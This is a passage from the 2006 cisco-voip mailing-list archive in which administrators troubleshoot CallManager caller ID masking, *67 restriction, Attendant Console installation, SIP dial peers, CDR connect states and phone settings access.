Subject: [cisco-voip] *67 route pattern with calling line set to restricted
In-Reply-To: <15DEEED1-63F7-4165-96BE-78FA861A8F74@cisco.com>
Message-ID: <20060209131600.53126.qmail@web34309.mail.mud.yahoo.com>

Have a situation where have a few 9*67.xxxxxxx route
patterns and the external party mask is unchecked, and
calling line presentation is set to restricted on RP.
Route detail is set to default as well as gateway/MGCP
endpoint. But when calls go out the outside caller is
seeing the calling party number still. 

The gateway is a 6608. Anyone know what to look for in
the traces to verify the call is going out as
restricted? These *67 patterns used to work in past
I'm being told. 

If you prefix *67 on called party number so it goes
out PRI with *67 the call fails. 

thanks

__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 

From tim.reimers at asheville.k12.nc.us  Thu Feb  9 08:52:40 2006
From: tim.reimers at asheville.k12.nc.us (Tim Reimers)
Date: Thu Feb  9 08:52:49 2006
Subject: [cisco-voip] Attendant Console install blues
Message-ID: <050944EE48FF384F9C663F7048C47DA703014FA0@webmail.asheville.k12.nc.us>

 
 
Umm...Don't double click the icon for the plugin - All you have to do is
right click instead, on the icon for the plugin (little computer, box of
software) next to the description for that plugin, and you can choose
"Save Target As"
instead of "open"  -- that brings up the usual file save dialog, and you
can browse to where you want to save the file..
 
I do this from a workstation with a browser pointed to:
http://<yourccm>/ccmAdmin/install.asp 
 

________________________________

From: Tennisman [mailto:nkhwaja at gmail.com] 
Sent: Wednesday, February 08, 2006 11:17 AM
To: Tim Reimers
Subject: Re: [cisco-voip] Attendant Console install blues


Tim,
When you say that I saved mine to a network share..., how did you
exactly do that? Can you tell the directory/file name that can be copied
to a network share? When I try to install it gets installed on the
CallManager itself? 
Thanks - Tennisman.



On 1/23/06, Tim Reimers <tim.reimers at asheville.k12.nc.us > wrote: 

	 
	 
	 
	Installing the plugin is
	 
	http://your-callmanager/ccmAdmin/install.asp 
	That should list the Attendant Console plugin on your CCM for
local install.
	 
	I saved mine to a network share so I didn't have to log into the
CCM again and again from each workstation.
	 
	Be sure that the phone has a user set up in Global Directory
(CCM menu, User>>Add User)
	The user must be associated to the phone, and have CTI rights
(checkbox)
	 
	The user logs into Attendant Console with their own
username/password combo 
	the 'AC' user is what controls the lines from the CCM to inform
the user as to status of others lines etc...
	 
	
	It's reasonably straightforward-- making sure that the 'ac' user
is associated with all the phones you want to use Attendant Console with
is the key thing.
	I didn't 'get' the part about the 'ac' user at first-- tried to
make up my own name for that user, etc- -- HAVE to use it the way Cisco
says in the below doc.
	 
	This is the directions for configuring Attendant Console-
	
http://www.cisco.com/en/US/products/sw/voicesw/ps556/products_administra
tion_guide_chapter09186a00801ecf89.html
	 
	 

________________________________

	From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Tennisman
	Sent: Sunday, January 22, 2006 10:21 AM
	To: cisco-voip at puck.nether.net
	Subject: [cisco-voip] Attendant Console install blues
	
	
	
	Does anyone know the exact steps(beyond saying that it's a
plugin) or a url to install CallManager 4.1's Attendant Console 1.3 on a
Windows XP machine? 
	-Tennisman 


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From Aaron.Derooy at xerox.com  Thu Feb  9 10:49:35 2006
From: Aaron.Derooy at xerox.com (DeRooy, Aaron H)
Date: Thu Feb  9 10:50:16 2006
Subject: [cisco-voip] SIP call won't go thru
Message-ID: <E0EF33751DEA634DA817A51024A8E3F205B50B07@usa0300ms01.na.xerox.net>

Here's my dial peers:

voice-port 2/0:0
!
voice-port 2/1:0
!
dial-peer cor custom
!
dial-peer voice 202 voip
 incoming called-number .
 session protocol sipv2
 session target ipv4:13.130.0.22
 codec g711ulaw
!
dial-peer voice 100 pots
 destination-pattern 9.......
 port 2/1:0


Here's the "show call active voice bri" Notice the "no requesed circuit
(44)". My circuit is a DS0 T1. Any idea? The dial peers seem to be
matching OK.

13A5 : -1330532810ms.403 +-1 +1630 pid:100 Originate 92658093
 dur 00:00:00 tx:0/0 rx:0/0 2C  (no requested circuit (44))
Telephony 2/1:0 (405) [2/1.10] tx:0/0/0ms None noise:0dBm acom:0dBm

13A5 : -1330532820ms.404 +-1 +1680 pid:202 Answer aaron.derooy
 dur 00:00:00 tx:0/0 rx:0/0 2C  (no requested circuit (44))
 IP 13.231.116.125:36182 rtt:0ms pl:0/0ms lost:0/0/0 delay:0/0/0ms
g711ulaw

Aaron H. DeRooy 
Cisco CCNP&CQS-CIPTSS;  Infrastructure Specialist
EDS PE/Dedicated Client Engineering - Americas
585.265.8093  (8*225)
585.202.8296  Nextel Cell
Bldg. 200 - 800 Phillips Rd.
MS:0200-08A (Cube W2-15)
Webster, NY 14580




From Scott.Voll at wesd.org  Thu Feb  9 11:04:58 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Thu Feb  9 11:05:11 2006
Subject: [cisco-voip] phone not booting
Message-ID: <D713462ED535184D830F6F6301753E7E01BE1364@VISHNU.wesd.org>

I have a 7912g at a new remote site.  I plug the phone in and the lights
flash on, it get the little boxes on the xml screen then it displays
nothing.  I unplug it and it sounds like I'm unplugging the power, but
it never boots up.  Is this phone bad?  Do I just need to RMA?  All the
other 7912s work just fine.

 

TIA

 

Scott

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From SPackett at fenwick.com  Thu Feb  9 11:05:10 2006
From: SPackett at fenwick.com (Stu Packett)
Date: Thu Feb  9 11:05:21 2006
Subject: [cisco-voip] 3rd Party Outlook Dialer and Web Dialer
Message-ID: <965C0255FD5828438E34F9A68ECA76E740AA15@svcexch02.firm.fenwick.llp>

At CIPTUG 2005, I found two (Aptigen and Digital Dynamics) 3rd party
companies that offer Outlook dialer applications.  Are there any other
companies that you know of that offer Outlook dialer applications?

Also, management is looking for a web dialer for our company intranet
directory.  I can't seem to find a 3rd party company that has a web
dialer application other than Cisco's Web Dialer.  Any suggestions?

Thanks in advance.
--------------------------------------------------------

IRS Circular 230  Disclosure:  To ensure compliance with requirements imposed by the IRS, we inform you that any U.S. federal tax advice in this communication (including attachments) is not intended or written by Fenwick & West LLP to be used, and cannot be used, for the purpose of (i) avoiding penalties under the Internal Revenue Code or (ii) promoting, marketing, or recommending to another party any transaction or matter addressed herein.
--------------------------------------------------------

ATTENTION:
The information contained in this message may be legally privileged and confidential.  It is intended to be read only by the individual or entity to whom it is addressed or by their designee. If the reader of this message is not the intended recipient, you are on notice that any distribution of this message, in any form, is strictly prohibited.
 
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From Scott.Voll at wesd.org  Thu Feb  9 11:09:49 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Thu Feb  9 11:09:57 2006
Subject: [cisco-voip] Another CDR question :)
Message-ID: <D713462ED535184D830F6F6301753E7E01BE1365@VISHNU.wesd.org>

Is there any way to fix that?

I have multiple issues with a PBX integration that it doesn't send DTMF
without the Connect message.  Any way to push the connect through?

Thanks

Scott

PS.  Thanks Ed for letting me high jack your thread. ;-)

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Ryan Ratliff
Sent: Wednesday, February 08, 2006 7:39 AM
To: Ed Leatherman
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Another CDR question :)

Many IVRs will not actually put the call into a Connected state until  
you reach an agent.  Also happens with carriers that ask you for a  
pin when dialing long distance, etc.

I think Amex was one that generated a ton of cases back in the day  
because of dtmf issues when the voice path was established but the  
call wasn't yet connected.

-Ryan

On Feb 8, 2006, at 10:32 AM, Ed Leatherman wrote:

Was looking through some CDRs to dig up some stats on a disputed long  
distance call.. Happened to notice there were a number of calls that  
had a dateTimeOrigination that was normal, a dateTimeConnect which  
was 0, and a dateTimeDisconnect that was normal and anywhere from 3  
to 20 sec later than the Origination Time. Does this mean the call  
failed to connect? duration on all those calls is also 0. the  
dateTimeConnect has me a little puzzled.

-- 
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From JKing at thegranitegroup.com  Thu Feb  9 11:16:39 2006
From: JKing at thegranitegroup.com (King, Jesse)
Date: Thu Feb  9 11:16:49 2006
Subject: [cisco-voip] 3rd Party Outlook Dialer and Web Dialer
Message-ID: <80FDD0062521CE4084591182C4DDB6BE0110879C@papaya.thegranitegroup.com>

Hi Stu,
 
I can't help you with the Outlook Dialer - but you can do this without a
third party, although I heard its difficult...
 
We are using WebDialer on our internet for click dialing. It works out
great. Users do need to enter their AD username and password at the
first use of the day, but after that it works great.
 
Here is WebDialer API doc, it uses javascript I believe... ) and a
screenshot. 
 
http://www.cisco.com/en/US/products/sw/voicesw/ps556/products_programmin
g_reference_guide09186a008042be75.html
 
I was able to get it working very easily and I'm certainly not a web
guy... Let me know if you need help.
 
 
 
Citrix also has their 'click dialer' if the built in one doesn't work
for you.
 
Hope this helps.
 
Jesse

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Stu Packett
Sent: Thursday, February 09, 2006 11:05 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] 3rd Party Outlook Dialer and Web Dialer



At CIPTUG 2005, I found two (Aptigen and Digital Dynamics) 3rd party
companies that offer Outlook dialer applications.  Are there any other
companies that you know of that offer Outlook dialer applications?

Also, management is looking for a web dialer for our company intranet
directory.  I can't seem to find a 3rd party company that has a web
dialer application other than Cisco's Web Dialer.  Any suggestions?

Thanks in advance. 

________________________________

IRS Circular 230  Disclosure:  To ensure compliance with requirements
imposed by the IRS, we inform you that any U.S. federal tax advice in
this communication (including attachments) is not intended or written by
Fenwick & West LLP to be used, and cannot be used, for the purpose of
(i) avoiding penalties under the Internal Revenue Code or (ii)
promoting, marketing, or recommending to another party any transaction
or matter addressed herein. 
________________________________

ATTENTION:
The information contained in this message may be legally privileged and
confidential.  It is intended to be read only by the individual or
entity to whom it is addressed or by their designee. If the reader of
this message is not the intended recipient, you are on notice that any
distribution of this message, in any form, is strictly prohibited. 
If you have received this message in error, please immediately notify
the sender and/or Fenwick & West LLP by telephone at (650) 988-8500 and
delete or destroy any copy of this message. 
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From Scott.Voll at wesd.org  Thu Feb  9 11:21:17 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Thu Feb  9 11:21:25 2006
Subject: [cisco-voip] route patterns/callerid mask/callforward
Message-ID: <D713462ED535184D830F6F6301753E7E01BE1367@VISHNU.wesd.org>

What's wrong with using BAT like Ryan stated and changing all the phones
mask to the 323860XXXX mask.

Shouldn't be a big nightmare.

Scott

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of IT
Sent: Wednesday, February 08, 2006 1:45 PM
To: Justin Steinberg; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] route patterns/callerid mask/callforward

But that wont fix the problem. I want to see the actual callers
caller-id. The original callers cell phone number will now be covered up
by the telco with my companies main number. Many people here forward all
their calls to their cellphone, and this basically eliminates caller-id
for them...

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Justin
Steinberg
Sent: Wednesday, February 08, 2006 1:27 PM
To: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] route patterns/callerid mask/callforward

A really easy fix for this problem is to call your Telco and request a
'screening range'.

They can populate a screening range with all the DIDs on your PRI. 
Then whenever an outbound call is placed from your site the Telco
checks the ANI that CallManager is sending.  If the ANI is a valid DID
then it is passed without modification.  If the ANI is something
outside of your DID range then the telco overwrites your ANI with your
main phone number.

All the major telco's I've dealt with support the screening range
concept in one way or the other.

Of course, a side effect of this problem is you can no longer prank
your friends - and other legitimate things such as wanting to send out
a toll-free number as your ANI.

Justin


> Date: Wed, 8 Feb 2006 15:50:09 -0500
> From: "Lelio Fulgenzi" <lelio at uoguelph.ca>
> Subject: Re: [cisco-voip] route patterns/callerid mask/callforward
> To: "IT" <it at cimgroup.com>, <cisco-voip at puck.nether.net>
> Message-ID: <00c701c62cf1$41208ab0$30196883 at cfs.uoguelph.ca>
> Content-Type: text/plain; charset="iso-8859-1"
>
> So you're saying that if I forward my phone offcampus to a phone that
has call display, what I see on the other side depends on whether I use
the phones external calling mask or the route pattern mask? I don't use
wildcards, I simply populate the field with our main number. If I have
the external mask set per phone, I will see the original caller's
number, but if I use the mask on the RP I will see my main number?
>
>
------------------------------------------------------------------------
--------
> Lelio Fulgenzi, B.A.
> Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
> (519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> "I had a coffee and Coke at lunch today...and now, I've got more
jitter than an
> IP phone on a long haul 10base2 connection"
LFJ
>  ----- Original Message -----
>  From: IT
>  To: cisco-voip at puck.nether.net
>  Sent: Wednesday, February 08, 2006 3:40 PM
>  Subject: [cisco-voip] route patterns/callerid mask/callforward
>
>
>  Here is my dilemma.
>  All the phones in my callmanager 4.0 setup do not have "external
phone
>  number mask" setup.  Instead, I have put the number mask in to the
>  translation pattern for outbound calling. For example.
>  My extension is 4990
>  I dial a call that matches the 8.@ route pattern, and the call gets
>  routed out the PRI Gateway, and the pattern applies the "Calling
Party
>  Transform Mask" of 323860XXXX
>  This results in the caller-id showing up as 323-860-4990. Perfect.
>  Now here are the problems with this solution. If I enable
callforwarding
>  on my phone (sending them to my cellphone), the caller-id gets messed
>  up. Here is why:
>  Let's say my friend at 310-833-5625 calls me on my cisco phone. The
call
>  hits the phone, but there is a CFwdAll set.
>  The call forwards to 813239438833 (my cell with the outgoing prefix
of
>  8).
>  When the call forwards, it runs through the route pattern 8.@
>  The call exits the PRI Gateway, and the Calling Party Transform Mask
>  applied is 323860XXXX.
>  The call reaches my cellphone, and the caller-id says 323-860-5625
>  So, only the last 4 digits are from the original callers phone
number,
>  and the rest are from the route pattern's transform mask.
>  Needless to say, this is a problem.
>
>  One solution I have found is to eliminate the "Calling Party
Transform
>  Mask" from all route patterns. Then, I add an "External Phone Number
>  Mask" to each and every line on my phone. This way, when I call out
from
>  my phone, the caller-id is correct, and calls forwarded through my
phone
>  retain their caller-id when they go through the route pattern. This
is a
>  serious maintenance nightmare, as I would have number mask's all over
>  the place. However, the upside of this route, is that the 2 people in
>  the office who want caller-id blocked on their outbound calls can do
>  so...(anyone know an easier way?)
>
>  I know other people have had to deal with this, but I cannot find the
>  answer in my archives of this mailing list.
>
>  Have you ever dealt with this, and do you have a solution that will
>  allow me to keep the number masks in the route pattern?
>

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From pwalenta at wi.rr.com  Thu Feb  9 11:23:03 2006
From: pwalenta at wi.rr.com (Philip Walenta)
Date: Thu Feb  9 11:23:09 2006
Subject: [cisco-voip] Another CDR question :)
In-Reply-To: <D713462ED535184D830F6F6301753E7E01BE1365@VISHNU.wesd.org>
Message-ID: <200602091623.k19GN1Cr006499@ms-smtp-02.rdc-kc.rr.com>

I don't think it was connecting to an agent that got the CONNECT message to
appear, at least not for me.  

I remember going through this many times because if someone had called one
of these IVR's, and another call came in, the couldn't get that call because
the phone still thought it was in call proceed or similar state that doesn't
allow the "hold" and "answer" softkeys to come up.

Many IVR's (airlines in particular) don't send a CONNECT until they know
you're going to actually use the IVR (press a key etc) and thusly save
themselves money because the billing on the call doesn't start until the
phone company sees a CONNECT message.

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Voll, Scott
Sent: Thursday, February 09, 2006 10:10 AM
To: Ryan Ratliff; Ed Leatherman
Cc: cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Another CDR question :)

Is there any way to fix that?

I have multiple issues with a PBX integration that it doesn't send DTMF
without the Connect message.  Any way to push the connect through?

Thanks

Scott

PS.  Thanks Ed for letting me high jack your thread. ;-)

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Ryan Ratliff
Sent: Wednesday, February 08, 2006 7:39 AM
To: Ed Leatherman
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Another CDR question :)

Many IVRs will not actually put the call into a Connected state until you
reach an agent.  Also happens with carriers that ask you for a pin when
dialing long distance, etc.

I think Amex was one that generated a ton of cases back in the day because
of dtmf issues when the voice path was established but the call wasn't yet
connected.

-Ryan

On Feb 8, 2006, at 10:32 AM, Ed Leatherman wrote:

Was looking through some CDRs to dig up some stats on a disputed long
distance call.. Happened to notice there were a number of calls that had a
dateTimeOrigination that was normal, a dateTimeConnect which was 0, and a
dateTimeDisconnect that was normal and anywhere from 3 to 20 sec later than
the Origination Time. Does this mean the call failed to connect? duration on
all those calls is also 0. the dateTimeConnect has me a little puzzled.

--
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations
_______________________________________________
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cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

_______________________________________________
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https://puck.nether.net/mailman/listinfo/cisco-voip

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From Nick.Kassel at Charles-Stanley.co.uk  Thu Feb  9 11:31:22 2006
From: Nick.Kassel at Charles-Stanley.co.uk (Nick Kassel)
Date: Thu Feb  9 11:31:32 2006
Subject: [cisco-voip] 3rd Party Outlook Dialer and Web Dialer
Message-ID: <253FAE7A06B11B49A3A29770B2B8BAFC6481FC@CSEXCH01.charles-stanley.co.uk>

Mirage Systems includes a web dialer in there CTI Data Connector, in
fact you can just select any number on the screen form any app and then
dial it by pressing a key sequence.

 

http://www.mirage-systems.de <http://www.mirage-systems.de/>   

 

I set up the Digital dynamics in our lab but it was not quite what we
wanted as we want an application that can pop Outlook Contacts as well
as dialling from them, although the dialling does work well and it also
incorporates corporate directory.

 

 

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Stu Packett
Sent: Thursday, February 09, 2006 4:05 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] 3rd Party Outlook Dialer and Web Dialer

 

At CIPTUG 2005, I found two (Aptigen and Digital Dynamics) 3rd party
companies that offer Outlook dialer applications.  Are there any other
companies that you know of that offer Outlook dialer applications?

Also, management is looking for a web dialer for our company intranet
directory.  I can't seem to find a 3rd party company that has a web
dialer application other than Cisco's Web Dialer.  Any suggestions?

Thanks in advance. 

________________________________

IRS Circular 230  Disclosure:  To ensure compliance with requirements
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________________________________

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From Scott.Voll at wesd.org  Thu Feb  9 11:31:58 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Thu Feb  9 11:32:07 2006
Subject: [cisco-voip] IPCC/AA/IVR CD message
Message-ID: <D713462ED535184D830F6F6301753E7E01BE1369@VISHNU.wesd.org>

I asked TAC about this as my programmers that were setting up a Billing
system, wanted mixed mode.

TAC's response was so long as you're willing to change it back in case
of a problem.  It shouldn't brake anything.

Scott

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of DeRooy, Aaron H
Sent: Wednesday, February 08, 2006 7:18 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] IPCC/AA/IVR CD message

Get this message when I put the CD in the CCM publisher drive and it
starts to install:

Install Wizard:

Local SQL Server/MSDE Login Mode must be changed
to Mixed Mode. Do you want to change it to Mixed Mode now?

YES     NO


CCM version is 4.1(2a). Any reason I shouldn't say YES to this? It
defaults to NO. 




Aaron H. DeRooy 


_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From Scott.Voll at wesd.org  Thu Feb  9 11:37:21 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Thu Feb  9 11:37:29 2006
Subject: [cisco-voip] Another CDR question :)
Message-ID: <D713462ED535184D830F6F6301753E7E01BE136A@VISHNU.wesd.org>

We have seen it with our health insurance provider, IRS, and Unity to
name a few.

Scott

-----Original Message-----
From: Philip Walenta [mailto:pwalenta at wi.rr.com] 
Sent: Thursday, February 09, 2006 8:23 AM
To: Voll, Scott; 'Ryan Ratliff'; 'Ed Leatherman'
Cc: cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Another CDR question :)

I don't think it was connecting to an agent that got the CONNECT message
to
appear, at least not for me.  

I remember going through this many times because if someone had called
one
of these IVR's, and another call came in, the couldn't get that call
because
the phone still thought it was in call proceed or similar state that
doesn't
allow the "hold" and "answer" softkeys to come up.

Many IVR's (airlines in particular) don't send a CONNECT until they know
you're going to actually use the IVR (press a key etc) and thusly save
themselves money because the billing on the call doesn't start until the
phone company sees a CONNECT message.

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Voll, Scott
Sent: Thursday, February 09, 2006 10:10 AM
To: Ryan Ratliff; Ed Leatherman
Cc: cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Another CDR question :)

Is there any way to fix that?

I have multiple issues with a PBX integration that it doesn't send DTMF
without the Connect message.  Any way to push the connect through?

Thanks

Scott

PS.  Thanks Ed for letting me high jack your thread. ;-)

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Ryan Ratliff
Sent: Wednesday, February 08, 2006 7:39 AM
To: Ed Leatherman
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Another CDR question :)

Many IVRs will not actually put the call into a Connected state until
you
reach an agent.  Also happens with carriers that ask you for a pin when
dialing long distance, etc.

I think Amex was one that generated a ton of cases back in the day
because
of dtmf issues when the voice path was established but the call wasn't
yet
connected.

-Ryan

On Feb 8, 2006, at 10:32 AM, Ed Leatherman wrote:

Was looking through some CDRs to dig up some stats on a disputed long
distance call.. Happened to notice there were a number of calls that had
a
dateTimeOrigination that was normal, a dateTimeConnect which was 0, and
a
dateTimeDisconnect that was normal and anywhere from 3 to 20 sec later
than
the Origination Time. Does this mean the call failed to connect?
duration on
all those calls is also 0. the dateTimeConnect has me a little puzzled.

--
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

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From JKing at thegranitegroup.com  Thu Feb  9 11:42:01 2006
From: JKing at thegranitegroup.com (King, Jesse)
Date: Thu Feb  9 11:42:12 2006
Subject: [cisco-voip] 3rd Party Outlook Dialer and Web Dialer
Message-ID: <80FDD0062521CE4084591182C4DDB6BE0110879D@papaya.thegranitegroup.com>

I'm sorry. I meant to say we are using this on our intranet...
 
 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of King, Jesse
Sent: Thursday, February 09, 2006 11:17 AM
To: Stu Packett; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] 3rd Party Outlook Dialer and Web Dialer


Hi Stu,
 
I can't help you with the Outlook Dialer - but you can do this without a
third party, although I heard its difficult...
 
We are using WebDialer on our internet for click dialing. It works out
great. Users do need to enter their AD username and password at the
first use of the day, but after that it works great.
 
Here is WebDialer API doc, it uses javascript I believe... ) and a
screenshot. 
 
http://www.cisco.com/en/US/products/sw/voicesw/ps556/products_programmin
g_reference_guide09186a008042be75.html
 
I was able to get it working very easily and I'm certainly not a web
guy... Let me know if you need help.
 
 
 
Citrix also has their 'click dialer' if the built in one doesn't work
for you.
 
Hope this helps.
 
Jesse

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Stu Packett
Sent: Thursday, February 09, 2006 11:05 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] 3rd Party Outlook Dialer and Web Dialer



At CIPTUG 2005, I found two (Aptigen and Digital Dynamics) 3rd party
companies that offer Outlook dialer applications.  Are there any other
companies that you know of that offer Outlook dialer applications?

Also, management is looking for a web dialer for our company intranet
directory.  I can't seem to find a 3rd party company that has a web
dialer application other than Cisco's Web Dialer.  Any suggestions?

Thanks in advance. 

________________________________

IRS Circular 230  Disclosure:  To ensure compliance with requirements
imposed by the IRS, we inform you that any U.S. federal tax advice in
this communication (including attachments) is not intended or written by
Fenwick & West LLP to be used, and cannot be used, for the purpose of
(i) avoiding penalties under the Internal Revenue Code or (ii)
promoting, marketing, or recommending to another party any transaction
or matter addressed herein. 
________________________________

ATTENTION:
The information contained in this message may be legally privileged and
confidential.  It is intended to be read only by the individual or
entity to whom it is addressed or by their designee. If the reader of
this message is not the intended recipient, you are on notice that any
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From lelio at uoguelph.ca  Thu Feb  9 12:45:15 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Thu Feb  9 12:45:24 2006
Subject: [cisco-voip] Settings Access: Restricted or Enabled
Message-ID: <00a201c62da0$95e30be0$30196883@cfs.uoguelph.ca>

What are people doing out there for the phone settings access? There is some really good troubleshooting information in these pages that I'm afraid we'll lose if we go with a 'restricted' approach. This information is not available via the webpages, i.e. uptime and last reason for reset.

Comments? 
--------------------------------------------------------------------------------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
"I had a coffee and Coke at lunch today...and now, I've got more jitter than an
IP phone on a long haul 10base2 connection"                                           LFJ
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From Scott.Voll at wesd.org  Thu Feb  9 12:59:56 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Thu Feb  9 13:00:08 2006
Subject: [cisco-voip] Settings Access: Restricted or Enabled
Message-ID: <D713462ED535184D830F6F6301753E7E01BE1374@VISHNU.wesd.org>

I'm not dealing with students / only employees so I am unrestricted.
Most of our employees don't touch anything unless they have to away.

 

If you restrict it, how do they change ring tones?  Or does that not get
restricted?

 

Scott

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Lelio Fulgenzi
Sent: Thursday, February 09, 2006 9:45 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Settings Access: Restricted or Enabled

 

What are people doing out there for the phone settings access? There is
some really good troubleshooting information in these pages that I'm
afraid we'll lose if we go with a 'restricted' approach. This
information is not available via the webpages, i.e. uptime and last
reason for reset.

 

Comments? 

------------------------------------------------------------------------
--------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
"I had a coffee and Coke at lunch today...and now, I've got more jitter
than an
IP phone on a long haul 10base2 connection"
LFJ

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From lelio at uoguelph.ca  Thu Feb  9 13:01:29 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Thu Feb  9 13:01:34 2006
Subject: [cisco-voip] Settings Access: Restricted or Enabled
References: <D713462ED535184D830F6F6301753E7E01BE1374@VISHNU.wesd.org>
Message-ID: <00c201c62da2$da774800$30196883@cfs.uoguelph.ca>

There are three settings now. Enabled, Disabled and Restricted. Restricted gives access to ringtones and contrast settings. Everything else is still in the list, but when you press select, nothing happens.

--------------------------------------------------------------------------------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
"I had a coffee and Coke at lunch today...and now, I've got more jitter than an
IP phone on a long haul 10base2 connection"                                           LFJ
  ----- Original Message ----- 
  From: Voll, Scott 
  To: Lelio Fulgenzi ; cisco-voip at puck.nether.net 
  Sent: Thursday, February 09, 2006 12:59 PM
  Subject: RE: [cisco-voip] Settings Access: Restricted or Enabled


  I'm not dealing with students / only employees so I am unrestricted.  Most of our employees don't touch anything unless they have to away.

   

  If you restrict it, how do they change ring tones?  Or does that not get restricted?

   

  Scott

   


------------------------------------------------------------------------------

  From: cisco-voip-bounces at puck.nether.net [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Lelio Fulgenzi
  Sent: Thursday, February 09, 2006 9:45 AM
  To: cisco-voip at puck.nether.net
  Subject: [cisco-voip] Settings Access: Restricted or Enabled

   

  What are people doing out there for the phone settings access? There is some really good troubleshooting information in these pages that I'm afraid we'll lose if we go with a 'restricted' approach. This information is not available via the webpages, i.e. uptime and last reason for reset.

   

  Comments? 

  --------------------------------------------------------------------------------
  Lelio Fulgenzi, B.A.
  Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
  (519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
  "I had a coffee and Coke at lunch today...and now, I've got more jitter than an
  IP phone on a long haul 10base2 connection"                                           LFJ
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From techguy at gmail.com  Thu Feb  9 13:52:16 2006
From: techguy at gmail.com (TechGuy)
Date: Thu Feb  9 13:52:19 2006
Subject: [cisco-voip] OT: Louisiana Cisco Users Group
